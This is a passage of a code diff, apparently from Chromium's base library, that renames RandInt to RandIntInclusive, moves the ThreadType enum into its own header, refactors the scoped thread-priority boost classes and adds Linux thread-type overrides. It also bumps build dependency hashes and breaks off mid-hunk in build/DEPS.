diff --git a/base/files/file_util_win.cc b/base/files/file_util_win.cc
index f03ac94..5cbde81 100644
--- a/base/files/file_util_win.cc
+++ b/base/files/file_util_win.cc
@@ -719,8 +719,8 @@
     new_dir_name.assign(prefix);
     new_dir_name.append(AsWString(NumberToString16(GetCurrentProcId())));
     new_dir_name.push_back('_');
-    new_dir_name.append(AsWString(
-        NumberToString16(RandInt(0, std::numeric_limits<int32_t>::max()))));
+    new_dir_name.append(AsWString(NumberToString16(
+        RandIntInclusive(0, std::numeric_limits<int32_t>::max()))));
 
     path_to_create = base_dir.Append(new_dir_name);
     if (::CreateDirectory(path_to_create.value().c_str(), NULL)) {
diff --git a/base/metrics/persistent_memory_allocator_unittest.cc b/base/metrics/persistent_memory_allocator_unittest.cc
index 98bb53f7..2b783194 100644
--- a/base/metrics/persistent_memory_allocator_unittest.cc
+++ b/base/metrics/persistent_memory_allocator_unittest.cc
@@ -322,15 +322,15 @@
 
   void Run() override {
     for (;;) {
-      uint32_t size = RandInt(1, 99);
-      uint32_t type = RandInt(100, 999);
+      uint32_t size = RandIntInclusive(1, 99);
+      uint32_t type = RandIntInclusive(100, 999);
       Reference block = allocator_.Allocate(size, type);
       if (!block) {
         break;
       }
 
       count_++;
-      if (RandInt(0, 1)) {
+      if (RandIntInclusive(0, 1)) {
         allocator_.MakeIterable(block);
         iterable_++;
       }
@@ -484,8 +484,8 @@
   // Fill the memory segment with random allocations.
   unsigned iterable_count = 0;
   for (;;) {
-    uint32_t size = RandInt(1, 99);
-    uint32_t type = RandInt(100, 999);
+    uint32_t size = RandIntInclusive(1, 99);
+    uint32_t type = RandIntInclusive(100, 999);
     Reference block = allocator_->Allocate(size, type);
     if (!block) {
       break;
@@ -630,8 +630,8 @@
   t5.Start();
 
   do {
-    size_t offset = RandInt(0, TEST_MEMORY_SIZE - 1);
-    char value = RandInt(0, 255);
+    size_t offset = RandIntInclusive(0, TEST_MEMORY_SIZE - 1);
+    char value = RandIntInclusive(0, 255);
     UNSAFE_TODO(memory[offset]) = value;
   } while (!allocator_->IsCorrupt() && !allocator_->IsFull());
 
diff --git a/base/path_service.cc b/base/path_service.cc
index c6a1855..1da60057 100644
--- a/base/path_service.cc
+++ b/base/path_service.cc
@@ -4,7 +4,6 @@
 
 #include "base/path_service.h"
 
-#include <unordered_map>
 #include <utility>
 
 #include "base/check_op.h"
@@ -15,6 +14,7 @@
 #include "base/memory/raw_ptr_exclusion.h"
 #include "base/synchronization/lock.h"
 #include "build/build_config.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_map.h"
 
 #if BUILDFLAG(IS_WIN)
 #include <windows.h>
@@ -52,7 +52,7 @@
 
 namespace {
 
-typedef std::unordered_map<int, FilePath> PathMap;
+using PathMap = absl::flat_hash_map<int, FilePath>;
 
 // We keep a linked list of providers.  In a debug build we ensure that no two
 // providers claim overlapping keys.
diff --git a/base/rand_util_unittest.cc b/base/rand_util_unittest.cc
index 3742cb98..6959a7ee 100644
--- a/base/rand_util_unittest.cc
+++ b/base/rand_util_unittest.cc
@@ -28,16 +28,16 @@
 
 }  // namespace
 
-TEST(RandUtilTest, RandInt) {
-  EXPECT_EQ(RandInt(0, 0), 0);
-  EXPECT_EQ(RandInt(kIntMin, kIntMin), kIntMin);
-  EXPECT_EQ(RandInt(kIntMax, kIntMax), kIntMax);
+TEST(RandUtilTest, RandIntInclusive) {
+  EXPECT_EQ(RandIntInclusive(0, 0), 0);
+  EXPECT_EQ(RandIntInclusive(kIntMin, kIntMin), kIntMin);
+  EXPECT_EQ(RandIntInclusive(kIntMax, kIntMax), kIntMax);
 
-  // Check that the DCHECKS in RandInt() don't fire due to internal overflow.
-  // There was a 50% chance of that happening, so calling it 40 times means
-  // the chances of this passing by accident are tiny (9e-13).
+  // Check that the DCHECKS in RandIntInclusive() don't fire due to internal
+  // overflow. There was a 50% chance of that happening, so calling it 40 times
+  // means the chances of this passing by accident are tiny (9e-13).
   for (int i = 0; i < 40; ++i) {
-    RandInt(kIntMin, kIntMax);
+    RandIntInclusive(kIntMin, kIntMax);
   }
 }
 
diff --git a/base/task/thread_type.h b/base/task/thread_type.h
new file mode 100644
index 0000000..acf1e47
--- /dev/null
+++ b/base/task/thread_type.h
@@ -0,0 +1,49 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef BASE_TASK_THREAD_TYPE_H_
+#define BASE_TASK_THREAD_TYPE_H_
+
+namespace base {
+
+// Valid values for `thread_type` of Thread::Options, SimpleThread::Options,
+// and SetCurrentThreadType(), listed in increasing order of importance.
+//
+// It is up to each platform-specific implementation what these translate to.
+// Callers should avoid setting different ThreadTypes on different platforms
+// (ifdefs) at all cost, instead the platform differences should be encoded in
+// the platform-specific implementations. Some implementations may treat
+// adjacent ThreadTypes in this enum as equivalent.
+//
+// Reach out to //base/task/OWNERS (scheduler-dev@chromium.org) before changing
+// thread type assignments in your component, as such decisions affect the whole
+// of Chrome.
+//
+// Refer to PlatformThreadTest.SetCurrentThreadTypeTest in
+// platform_thread_unittest.cc for the most up-to-date state of each platform's
+// handling of ThreadType.
+enum class ThreadType : int {
+  // Suitable for threads that have the least urgency and lowest priority, and
+  // can be interrupted or delayed by other types.
+  kBackground,
+  // Suitable for threads that are less important than normal type, and can be
+  // interrupted or delayed by threads with kDefault type.
+  kUtility,
+  // Default type. The thread priority or quality of service will be set to
+  // platform default.
+  kDefault,
+  // Suitable for user visible  threads, ie. compositing and presenting
+  // the foreground content.
+  kPresentation,
+  // Suitable for threads that handle audio processing, not including direct
+  // audio rendering which should use kRealtimeAudio.
+  kAudioProcessing,
+  // Suitable for low-latency, glitch-resistant audio.
+  kRealtimeAudio,
+  kMaxValue = kRealtimeAudio,
+};
+
+}  // namespace base
+
+#endif  // BASE_TASK_THREAD_TYPE_H_
diff --git a/base/threading/platform_thread.cc b/base/threading/platform_thread.cc
index a60a829e..e4016678 100644
--- a/base/threading/platform_thread.cc
+++ b/base/threading/platform_thread.cc
@@ -25,8 +25,7 @@
 }
 
 // static
-void PlatformThreadBase::SetCurrentThreadType(ThreadType thread_type,
-                                              bool may_change_affinity) {
+void PlatformThreadBase::SetCurrentThreadType(ThreadType thread_type) {
   MessagePumpType message_pump_type = MessagePumpType::DEFAULT;
   if (CurrentIOThread::IsSet()) {
     message_pump_type = MessagePumpType::IO;
@@ -34,8 +33,7 @@
     message_pump_type = MessagePumpType::UI;
   }
   CHECK_LE(thread_type, ThreadType::kMaxValue);
-  internal::SetCurrentThreadTypeImpl(thread_type, message_pump_type,
-                                     may_change_affinity);
+  internal::SetCurrentThreadTypeImpl(thread_type, message_pump_type);
   current_thread_type = thread_type;
 }
 
diff --git a/base/threading/platform_thread.h b/base/threading/platform_thread.h
index 157a26a9..87399495 100644
--- a/base/threading/platform_thread.h
+++ b/base/threading/platform_thread.h
@@ -19,6 +19,7 @@
 #include "base/base_export.h"
 #include "base/message_loop/message_pump_type.h"
 #include "base/process/process_handle.h"
+#include "base/task/thread_type.h"
 #include "base/threading/platform_thread_ref.h"
 #include "base/trace_event/base_tracing_forward.h"
 #include "base/types/strong_alias.h"
@@ -140,7 +141,11 @@
   explicit constexpr PlatformThreadHandle(Handle handle) : handle_(handle) {}
 
   bool is_equal(const PlatformThreadHandle& other) const {
+#if BUILDFLAG(IS_POSIX) || BUILDFLAG(IS_FUCHSIA)
+    return pthread_equal(handle_, other.handle_);
+#else
     return handle_ == other.handle_;
+#endif
   }
 
   bool is_null() const { return !handle_; }
@@ -153,43 +158,6 @@
 
 static constexpr PlatformThreadId kInvalidThreadId = PlatformThreadId();
 
-// Valid values for `thread_type` of Thread::Options, SimpleThread::Options,
-// and SetCurrentThreadType(), listed in increasing order of importance.
-//
-// It is up to each platform-specific implementation what these translate to.
-// Callers should avoid setting different ThreadTypes on different platforms
-// (ifdefs) at all cost, instead the platform differences should be encoded in
-// the platform-specific implementations. Some implementations may treat
-// adjacent ThreadTypes in this enum as equivalent.
-//
-// Reach out to //base/task/OWNERS (scheduler-dev@chromium.org) before changing
-// thread type assignments in your component, as such decisions affect the whole
-// of Chrome.
-//
-// Refer to PlatformThreadTest.SetCurrentThreadTypeTest in
-// platform_thread_unittest.cc for the most up-to-date state of each platform's
-// handling of ThreadType.
-enum class ThreadType : int {
-  // Suitable for threads that have the least urgency and lowest priority, and
-  // can be interrupted or delayed by other types.
-  kBackground,
-  // Suitable for threads that are less important than normal type, and can be
-  // interrupted or delayed by threads with kDefault type.
-  kUtility,
-  // Default type. The thread priority or quality of service will be set to
-  // platform default.
-  kDefault,
-  // Suitable for user visible  threads, ie. compositing and presenting
-  // the foreground content.
-  kPresentation,
-  // Suitable for threads that handle audio processing, not including direct
-  // audio rendering which should use kRealtimeAudio.
-  kAudioProcessing,
-  // Suitable for low-latency, glitch-resistant audio.
-  kRealtimeAudio,
-  kMaxValue = kRealtimeAudio,
-};
-
 // A namespace for low-level thread functions.
 class BASE_EXPORT PlatformThreadBase {
  public:
@@ -310,13 +278,7 @@
   // Declares the type of work running on the current thread. This will affect
   // things like thread priority and thread QoS (Quality of Service) to the best
   // of the current platform's abilities.
-  //
-  // The `may_change_affinity` parameter determines whether this call can change
-  // the thread CPU affinity on platforms where it is available. It should only
-  // be used in cases where e.g. a temporary thread boost should not change
-  // placement.
-  static void SetCurrentThreadType(ThreadType thread_type,
-                                   bool may_change_affinity = true);
+  static void SetCurrentThreadType(ThreadType thread_type);
 
   // Get the last `thread_type` set by SetCurrentThreadType, no matter if the
   // underlying priority successfully changed or not.
@@ -456,8 +418,7 @@
     ThreadType initial_thread_type);
 
 void SetCurrentThreadTypeImpl(ThreadType thread_type,
-                              MessagePumpType pump_type_hint,
-                              bool may_change_affinity);
+                              MessagePumpType pump_type_hint);
 
 }  // namespace internal
 
diff --git a/base/threading/platform_thread_android.cc b/base/threading/platform_thread_android.cc
index b6cdc3e0..5999b2a 100644
--- a/base/threading/platform_thread_android.cc
+++ b/base/threading/platform_thread_android.cc
@@ -261,8 +261,7 @@
 }
 
 void SetCurrentThreadTypeImpl(ThreadType thread_type,
-                              MessagePumpType pump_type_hint,
-                              bool may_change_affinity) {
+                              MessagePumpType pump_type_hint) {
   // We set the Audio priority through JNI as the Java setThreadPriority will
   // put it into a preferable cgroup, whereas the "normal" C++ call wouldn't.
   // However, with
@@ -284,7 +283,7 @@
     SetThreadNiceFromType(PlatformThread::CurrentId(), thread_type);
   }
 
-  if (may_change_affinity && IsEligibleForBigCoreAffinityChange() &&
+  if (IsEligibleForBigCoreAffinityChange() &&
       base::FeatureList::IsEnabled(kRestrictBigCoreThreadAffinity)) {
     SetCanRunOnBigCore(PlatformThread::CurrentId(),
                        thread_type >= ThreadType::kPresentation);
diff --git a/base/threading/platform_thread_apple.mm b/base/threading/platform_thread_apple.mm
index 90eaa87b..552f725 100644
--- a/base/threading/platform_thread_apple.mm
+++ b/base/threading/platform_thread_apple.mm
@@ -310,8 +310,7 @@
 namespace internal {
 
 void SetCurrentThreadTypeImpl(ThreadType thread_type,
-                              MessagePumpType pump_type_hint,
-                              bool may_change_affinity) {
+                              MessagePumpType pump_type_hint) {
   std::optional<qos_class_t> qos_class = ThreadTypeToQoSClass(thread_type);
 
   if (qos_class) {
diff --git a/base/threading/platform_thread_fuchsia.cc b/base/threading/platform_thread_fuchsia.cc
index c113e26e..443e86f 100644
--- a/base/threading/platform_thread_fuchsia.cc
+++ b/base/threading/platform_thread_fuchsia.cc
@@ -101,8 +101,7 @@
 namespace internal {
 
 void SetCurrentThreadTypeImpl(ThreadType thread_type,
-                              MessagePumpType pump_type_hint,
-                              bool may_change_affinity) {
+                              MessagePumpType pump_type_hint) {
   switch (thread_type) {
     case ThreadType::kDefault:
       SetThreadRole("chromium.base.threading.default");
diff --git a/base/threading/platform_thread_linux.cc b/base/threading/platform_thread_linux.cc
index 2b1a5d3..b0dab76f 100644
--- a/base/threading/platform_thread_linux.cc
+++ b/base/threading/platform_thread_linux.cc
@@ -110,8 +110,7 @@
 }
 
 void SetCurrentThreadTypeImpl(ThreadType thread_type,
-                              MessagePumpType pump_type_hint,
-                              bool may_change_affinity) {
+                              MessagePumpType pump_type_hint) {
   const PlatformThreadId thread_id = PlatformThread::CurrentId();
 
   if (g_thread_type_delegate &&
@@ -138,13 +137,25 @@
 PlatformPriorityOverride SetThreadTypeOverride(
     PlatformThreadHandle thread_handle,
     ThreadType thread_type) {
-  return false;
+  if (!thread_handle.is_equal(PlatformThread::CurrentHandle()) ||
+      g_thread_type_delegate) {
+    return false;
+  }
+  internal::SetThreadType(getpid(), PlatformThread::CurrentId(), thread_type);
+  return true;
 }
 
 void RemoveThreadTypeOverride(
     PlatformThreadHandle thread_handle,
     const PlatformPriorityOverride& priority_override_handle,
-    ThreadType initial_thread_type) {}
+    ThreadType initial_thread_type) {
+  if (!priority_override_handle) {
+    return;
+  }
+  DCHECK(thread_handle.is_equal(PlatformThread::CurrentHandle()));
+  internal::SetThreadType(getpid(), PlatformThread::CurrentId(),
+                          initial_thread_type);
+}
 
 }  // namespace internal
 
diff --git a/base/threading/platform_thread_win.cc b/base/threading/platform_thread_win.cc
index ce049c5d..11a2597 100644
--- a/base/threading/platform_thread_win.cc
+++ b/base/threading/platform_thread_win.cc
@@ -460,8 +460,7 @@
 namespace internal {
 
 void SetCurrentThreadTypeImpl(ThreadType thread_type,
-                              MessagePumpType pump_type_hint,
-                              bool may_change_affinity) {
+                              MessagePumpType pump_type_hint) {
   PlatformThreadHandle thread_handle = PlatformThread::CurrentHandle();
   SetThreadPriority(thread_handle, thread_type);
   SetThreadQualityOfService(thread_handle, thread_type);
diff --git a/base/threading/scoped_thread_priority.cc b/base/threading/scoped_thread_priority.cc
index 558b1e2..3ab17d2 100644
--- a/base/threading/scoped_thread_priority.cc
+++ b/base/threading/scoped_thread_priority.cc
@@ -35,37 +35,58 @@
 #endif
 }
 
+constinit thread_local internal::ScopedBoostPriorityBase* current_boost_scope =
+    nullptr;
+
 }  // namespace
 
+namespace internal {
+
+ScopedBoostPriorityBase::ScopedBoostPriorityBase()
+    : initial_thread_type_(current_boost_scope &&
+                                   current_boost_scope->target_thread_type_
+                               ? *current_boost_scope->target_thread_type_
+                               : PlatformThread::GetCurrentThreadType()) {
+  previous_boost_scope_ = std::exchange(current_boost_scope, this);
+}
+
+ScopedBoostPriorityBase::~ScopedBoostPriorityBase() {
+  DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
+  DCHECK_EQ(current_boost_scope, this);
+  current_boost_scope = previous_boost_scope_;
+}
+
+bool ScopedBoostPriorityBase::ShouldBoostTo(
+    ThreadType target_thread_type) const {
+  return initial_thread_type_ < target_thread_type &&
+         PlatformThread::CanChangeThreadType(initial_thread_type_,
+                                             target_thread_type) &&
+         PlatformThread::CanChangeThreadType(target_thread_type,
+                                             initial_thread_type_);
+}
+
+}  // namespace internal
+
 ScopedBoostPriority::ScopedBoostPriority(ThreadType target_thread_type) {
   CHECK_LT(target_thread_type, ThreadType::kRealtimeAudio);
-  const ThreadType original_thread_type =
-      PlatformThread::GetCurrentThreadType();
-  const bool should_boost = original_thread_type < target_thread_type &&
-                            PlatformThread::CanChangeThreadType(
-                                original_thread_type, target_thread_type) &&
-                            PlatformThread::CanChangeThreadType(
-                                target_thread_type, original_thread_type);
+  const bool should_boost = ShouldBoostTo(target_thread_type);
   if (should_boost) {
-    original_thread_type_.emplace(original_thread_type);
-    // Do not change the affinity, this is meant to make sure the thread runs,
-    // not that it changes which core can it can run on.
-    PlatformThread::SetCurrentThreadType(target_thread_type,
-                                         /* may_change_affinity = */ false);
+    target_thread_type_ = target_thread_type;
+    priority_override_handle_ = internal::SetThreadTypeOverride(
+        PlatformThread::CurrentHandle(), target_thread_type);
   }
 }
 
 ScopedBoostPriority::~ScopedBoostPriority() {
-  if (original_thread_type_.has_value()) {
-    // See above, do not change the affinity.
-    PlatformThread::SetCurrentThreadType(original_thread_type_.value(),
-                                         /* may_change_affinity = */ false);
+  if (target_thread_type_) {
+    internal::RemoveThreadTypeOverride(PlatformThread::CurrentHandle(),
+                                       priority_override_handle_,
+                                       initial_thread_type_);
   }
 }
 
 ScopedBoostablePriority::ScopedBoostablePriority()
-    : initial_thread_type_(PlatformThread::GetCurrentThreadType()),
-      thread_handle_(PortableCurrentThreadHandle())
+    : thread_handle_(PortableCurrentThreadHandle())
 #if BUILDFLAG(IS_WIN)
       ,
       scoped_handle_(thread_handle_.platform_handle())
@@ -74,7 +95,6 @@
 }
 
 ScopedBoostablePriority::~ScopedBoostablePriority() {
-  DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
   Reset();
 }
 
@@ -83,18 +103,14 @@
   if (thread_handle_.is_null()) {
     return false;
   }
-  const bool should_boost = target_thread_type > initial_thread_type_ &&
-                            PlatformThread::CanChangeThreadType(
-                                initial_thread_type_, target_thread_type) &&
-                            PlatformThread::CanChangeThreadType(
-                                target_thread_type, initial_thread_type_);
+  const bool should_boost = ShouldBoostTo(target_thread_type);
   if (!should_boost) {
     return false;
   }
-  if (did_override_priority_) {
+  if (target_thread_type_) {
     return false;
   }
-  did_override_priority_ = true;
+  target_thread_type_ = target_thread_type;
   priority_override_handle_ =
       internal::SetThreadTypeOverride(thread_handle_, target_thread_type);
   return priority_override_handle_;
@@ -104,37 +120,10 @@
   if (thread_handle_.is_null()) {
     return;
   }
-  if (did_override_priority_) {
+  if (target_thread_type_) {
     internal::RemoveThreadTypeOverride(
         thread_handle_, priority_override_handle_, initial_thread_type_);
-    did_override_priority_ = false;
-  }
-}
-
-TaskMonitoringScopedBoostPriority::TaskMonitoringScopedBoostPriority(
-    ThreadType target_thread_type,
-    RepeatingCallback<bool()> should_boost_callback)
-    : target_thread_type_(target_thread_type),
-      should_boost_callback_(std::move(should_boost_callback)) {
-  CHECK(should_boost_callback_);
-}
-
-TaskMonitoringScopedBoostPriority::~TaskMonitoringScopedBoostPriority() {
-  scoped_boost_priority_.reset();
-}
-
-void TaskMonitoringScopedBoostPriority::WillProcessTask(
-    const PendingTask& pending_task,
-    bool was_blocked_or_low_priority) {
-  bool should_boost = should_boost_callback_.Run();
-  if (scoped_boost_priority_.has_value() == should_boost) {
-    return;
-  }
-
-  if (should_boost) {
-    scoped_boost_priority_.emplace(target_thread_type_);
-  } else {
-    scoped_boost_priority_.reset();
+    target_thread_type_ = std::nullopt;
   }
 }
 
@@ -159,29 +148,14 @@
     return;
   }
 
-  const base::ThreadType thread_type = PlatformThread::GetCurrentThreadType();
-  if (thread_type == base::ThreadType::kBackground) {
-    original_thread_type_ = thread_type;
-    PlatformThread::SetCurrentThreadType(base::ThreadType::kDefault);
-
-    TRACE_EVENT_BEGIN0(
-        "base",
-        "ScopedMayLoadLibraryAtBackgroundPriority : Priority Increased");
-  }
+  boost_priority_.emplace(base::ThreadType::kDefault);
 #endif  // BUILDFLAG(IS_WIN)
 }
 
 ScopedMayLoadLibraryAtBackgroundPriority::
     ~ScopedMayLoadLibraryAtBackgroundPriority() {
-  // Trace events must be closed in reverse order of opening so that they nest
-  // correctly.
 #if BUILDFLAG(IS_WIN)
-  if (original_thread_type_) {
-    TRACE_EVENT_END0(
-        "base",
-        "ScopedMayLoadLibraryAtBackgroundPriority : Priority Increased");
-    PlatformThread::SetCurrentThreadType(original_thread_type_.value());
-  }
+  boost_priority_.reset();
 
   if (already_loaded_) {
     already_loaded_->store(true, std::memory_order_relaxed);
diff --git a/base/threading/scoped_thread_priority.h b/base/threading/scoped_thread_priority.h
index 0829e6ee..332ef8b 100644
--- a/base/threading/scoped_thread_priority.h
+++ b/base/threading/scoped_thread_priority.h
@@ -56,20 +56,39 @@
   base::internal::ScopedMayLoadLibraryAtBackgroundPriority BASE_UNIQUIFY( \
       scoped_may_load_library_at_background_priority)(FROM_HERE, nullptr);
 
+namespace internal {
+
+class BASE_EXPORT ScopedBoostPriorityBase {
+ public:
+  ScopedBoostPriorityBase();
+  ~ScopedBoostPriorityBase();
+
+  ScopedBoostPriorityBase(const ScopedBoostPriorityBase&) = delete;
+  ScopedBoostPriorityBase& operator=(const ScopedBoostPriorityBase&) = delete;
+
+ protected:
+  bool ShouldBoostTo(ThreadType target_thread_type) const;
+
+  const ThreadType initial_thread_type_;
+  std::optional<ThreadType> target_thread_type_;
+  internal::PlatformPriorityOverride priority_override_handle_ = {};
+
+ private:
+  raw_ptr<ScopedBoostPriorityBase> previous_boost_scope_;
+  THREAD_CHECKER(thread_checker_);
+};
+
+}  // namespace internal
+
 // Boosts the current thread's priority to match the priority of threads of
 // `target_thread_type` in this scope. `target_thread_type` must be lower
 // priority than kRealtimeAudio, since realtime priority should only be used by
 // dedicated media threads.
-class BASE_EXPORT ScopedBoostPriority {
+class BASE_EXPORT ScopedBoostPriority
+    : public internal::ScopedBoostPriorityBase {
  public:
   explicit ScopedBoostPriority(ThreadType target_thread_type);
   ~ScopedBoostPriority();
-
-  ScopedBoostPriority(const ScopedBoostPriority&) = delete;
-  ScopedBoostPriority& operator=(const ScopedBoostPriority&) = delete;
-
- private:
-  std::optional<ThreadType> original_thread_type_;
 };
 
 // Allows another thread to temporarily boost the current thread's priority to
@@ -77,15 +96,12 @@
 // when the object is destroyed, which must happens on the current thread.
 // `target_thread_type` must be lower priority than kRealtimeAudio, since
 // realtime priority should only be used by dedicated media threads.
-class BASE_EXPORT ScopedBoostablePriority {
+class BASE_EXPORT ScopedBoostablePriority
+    : public internal::ScopedBoostPriorityBase {
  public:
   ScopedBoostablePriority();
   ~ScopedBoostablePriority();
 
-  ScopedBoostablePriority(const ScopedBoostablePriority&) = delete;
-  ScopedBoostablePriority& operator=(const ScopedBoostablePriority& other) =
-      delete;
-
   // Boosts the priority of the thread where this ScopedBoostablePriority was
   // created. Can be called from any thread, but requires proper external
   // synchronization with the constructor, destructor and any other call to
@@ -100,39 +116,10 @@
   void Reset();
 
  private:
-  const ThreadType initial_thread_type_;
   PlatformThreadHandle thread_handle_;
 #if BUILDFLAG(IS_WIN)
   win::ScopedHandle scoped_handle_;
 #endif
-  bool did_override_priority_{false};
-  internal::PlatformPriorityOverride priority_override_handle_;
-  THREAD_CHECKER(thread_checker_);
-};
-
-// This wraps ScopedBoostPriority with a callback to determine whether
-// the priority should be boosted or not before every task execution.
-class BASE_EXPORT TaskMonitoringScopedBoostPriority : public TaskObserver {
- public:
-  explicit TaskMonitoringScopedBoostPriority(
-      ThreadType target_thread_type,
-      RepeatingCallback<bool()> should_boost_callback);
-  ~TaskMonitoringScopedBoostPriority() override;
-
-  TaskMonitoringScopedBoostPriority(const TaskMonitoringScopedBoostPriority&) =
-      delete;
-  TaskMonitoringScopedBoostPriority& operator=(
-      const TaskMonitoringScopedBoostPriority&) = delete;
-
-  // TaskObserver implementation:
-  void WillProcessTask(const PendingTask& pending_task,
-                       bool was_blocked_or_low_priority) override;
-  void DidProcessTask(const PendingTask& pending_task) override {}
-
- private:
-  std::optional<ScopedBoostPriority> scoped_boost_priority_;
-  ThreadType target_thread_type_;
-  RepeatingCallback<bool()> should_boost_callback_;
 };
 
 namespace internal {
@@ -155,7 +142,7 @@
  private:
 #if BUILDFLAG(IS_WIN)
   // The original priority when invoking entering the scope().
-  std::optional<ThreadType> original_thread_type_;
+  std::optional<ScopedBoostPriority> boost_priority_;
   const raw_ptr<std::atomic_bool> already_loaded_;
 #endif
 };
diff --git a/base/threading/scoped_thread_priority_unittest.cc b/base/threading/scoped_thread_priority_unittest.cc
index 0b6c25b..ff207dd 100644
--- a/base/threading/scoped_thread_priority_unittest.cc
+++ b/base/threading/scoped_thread_priority_unittest.cc
@@ -76,23 +76,29 @@
       Thread thread("ScopedThreadPriorityTest");
       thread.StartWithOptions(Thread::Options(from));
       thread.WaitUntilThreadStarted();
+
+      bool will_boost_priority =
+          from < to && PlatformThread::CanChangeThreadType(from, to) &&
+          PlatformThread::CanChangeThreadType(to, from);
       thread.task_runner()->PostTask(
-          FROM_HERE,
-          BindOnce(
-              [](ThreadType from, ThreadType to) {
-                EXPECT_EQ(PlatformThread::GetCurrentThreadType(), from);
-                {
-                  ScopedBoostPriority scoped_boost_priority(to);
-                  bool will_boost_priority =
-                      from < to &&
-                      PlatformThread::CanChangeThreadType(from, to) &&
-                      PlatformThread::CanChangeThreadType(to, from);
-                  EXPECT_EQ(PlatformThread::GetCurrentThreadType(),
-                            will_boost_priority ? to : from);
-                }
-                EXPECT_EQ(PlatformThread::GetCurrentThreadType(), from);
-              },
-              from, to));
+          FROM_HERE, BindLambdaForTesting([&]() {
+            EXPECT_EQ(PlatformThread::GetCurrentThreadType(), from);
+            {
+              ScopedBoostPriority scoped_boost_priority(to);
+              if (will_boost_priority) {
+#if BUILDFLAG(IS_WIN) || BUILDFLAG(IS_ANDROID) || BUILDFLAG(IS_LINUX)
+                // Apple priority boost doesn't reflect in the effective
+                // ThreadType.
+                EXPECT_EQ(
+                    PlatformThread::GetCurrentEffectiveThreadTypeForTest(), to);
+#endif
+              }
+            }
+            EXPECT_EQ(PlatformThread::GetCurrentThreadType(), from);
+            EXPECT_EQ(PlatformThread::GetCurrentEffectiveThreadTypeForTest(),
+                      from);
+          }));
+      thread.FlushForTesting();
     }
   }
 }
@@ -255,30 +261,6 @@
   PlatformThread::SetCurrentThreadType(ThreadType::kDefault);
 }
 
-TEST_F(ScopedThreadPriorityTest, TaskMonitoringBoost) {
-  ASSERT_EQ(ThreadType::kDefault,
-            PlatformThread::GetCurrentEffectiveThreadTypeForTest());
-
-  {
-    // A `TaskMonitoringScopedBoostPriority` object with a callback that always
-    // returns true.
-    TaskMonitoringScopedBoostPriority scoped_boost_priority(
-        ThreadType::kAudioProcessing, BindRepeating([]() { return true; }));
-    // Not boosted before `WillProcessTask` is called.
-    ASSERT_EQ(ThreadType::kDefault,
-              PlatformThread::GetCurrentEffectiveThreadTypeForTest());
-
-    // After `WillProcessTask` is called, the thread priority should be boosted.
-    scoped_boost_priority.WillProcessTask(PendingTask(), false);
-    ASSERT_EQ(ThreadType::kAudioProcessing,
-              PlatformThread::GetCurrentEffectiveThreadTypeForTest());
-  }
-
-  // Back to normal outside the scope.
-  ASSERT_EQ(ThreadType::kDefault,
-            PlatformThread::GetCurrentEffectiveThreadTypeForTest());
-}
-
 #endif  // BUILDFLAG(IS_WIN)
 
 }  // namespace base
diff --git a/base/trace_event/malloc_dump_provider.cc b/base/trace_event/malloc_dump_provider.cc
index b213601..9652be0 100644
--- a/base/trace_event/malloc_dump_provider.cc
+++ b/base/trace_event/malloc_dump_provider.cc
@@ -257,7 +257,7 @@
           "%s/buckets_alloc/%07d", name.c_str(), static_cast<int>(bucket_size));
       auto* buckets_alloc_dump = pmd->CreateAllocatorDump(dump_name);
       buckets_alloc_dump->AddScalar("count", MemoryAllocatorDump::kUnitsObjects,
-                                    UNSAFE_TODO(stats.allocs_per_bucket_[i]));
+                                    stats.allocs_per_bucket_[i]);
     }
   }
 #endif  // PA_CONFIG(THREAD_CACHE_ALLOC_STATS)
diff --git a/build/DEPS b/build/DEPS
index 9bafc137..beb4962 100644
--- a/build/DEPS
+++ b/build/DEPS
@@ -7,10 +7,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221486381719,
-        'object_name': '36a164623d03f525e3dfb783a5e9b8a00e98e1ddd2b5cff4e449bd016dd27e50',
-        'sha256sum': '36a164623d03f525e3dfb783a5e9b8a00e98e1ddd2b5cff4e449bd016dd27e50',
-        'size_bytes': 20781612,
+        'generation': 1770327973518330,
+        'object_name': '52d61d4446ffebfaa3dda2cd02da4ab4876ff237853f46d273e7f9b666652e1d',
+        'sha256sum': '52d61d4446ffebfaa3dda2cd02da4ab4876ff237853f46d273e7f9b666652e1d',
+        'size_bytes': 19727236,
       },
     ],
   },
@@ -20,10 +20,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221484487736,
-        'object_name': '2f915d821eec27515c0c6d21b69898e23762908d8d7ccc1aa2a8f5f25e8b7e18',
-        'sha256sum': '2f915d821eec27515c0c6d21b69898e23762908d8d7ccc1aa2a8f5f25e8b7e18',
-        'size_bytes': 19204088,
+        'generation': 1770327978874031,
+        'object_name': 'c7176a4c7aacbf46bda58a029f39f79a68008d3dee6518f154dcf5161a5486d8',
+        'sha256sum': 'c7176a4c7aacbf46bda58a029f39f79a68008d3dee6518f154dcf5161a5486d8',
+        'size_bytes': 18420984,
       },
     ],
   },
@@ -33,10 +33,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221481689337,
-        'object_name': '47b3a0b161ca011b2b33d4fc1ef6ef269b8208a0b7e4c900700c345acdfd1814',
-        'sha256sum': '47b3a0b161ca011b2b33d4fc1ef6ef269b8208a0b7e4c900700c345acdfd1814',
-        'size_bytes': 19054416,
+        'generation': 1770327986819219,
+        'object_name': 'b45a7f586a107380ca6141b00d74321922b41d6d327dc33e74a2f82fd454304c',
+        'sha256sum': 'b45a7f586a107380ca6141b00d74321922b41d6d327dc33e74a2f82fd454304c',
+        'size_bytes': 18374340,
       },
     ],
   },
@@ -46,10 +46,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221485445080,
-        'object_name': '63f0e5128b84f7b0421956a4a40affa472be8da0e58caf27e9acbc84072daee7',
-        'sha256sum': '63f0e5128b84f7b0421956a4a40affa472be8da0e58caf27e9acbc84072daee7',
-        'size_bytes': 20786772,
+        'generation': 1770327987132454,
+        'object_name': '3de724b0d63478e1ae35f07b95d02261581a66e05c19aebe4e443d76179a565e',
+        'sha256sum': '3de724b0d63478e1ae35f07b95d02261581a66e05c19aebe4e443d76179a565e',
+        'size_bytes': 19768196,
       },
     ],
   },
@@ -59,10 +59,10 @@
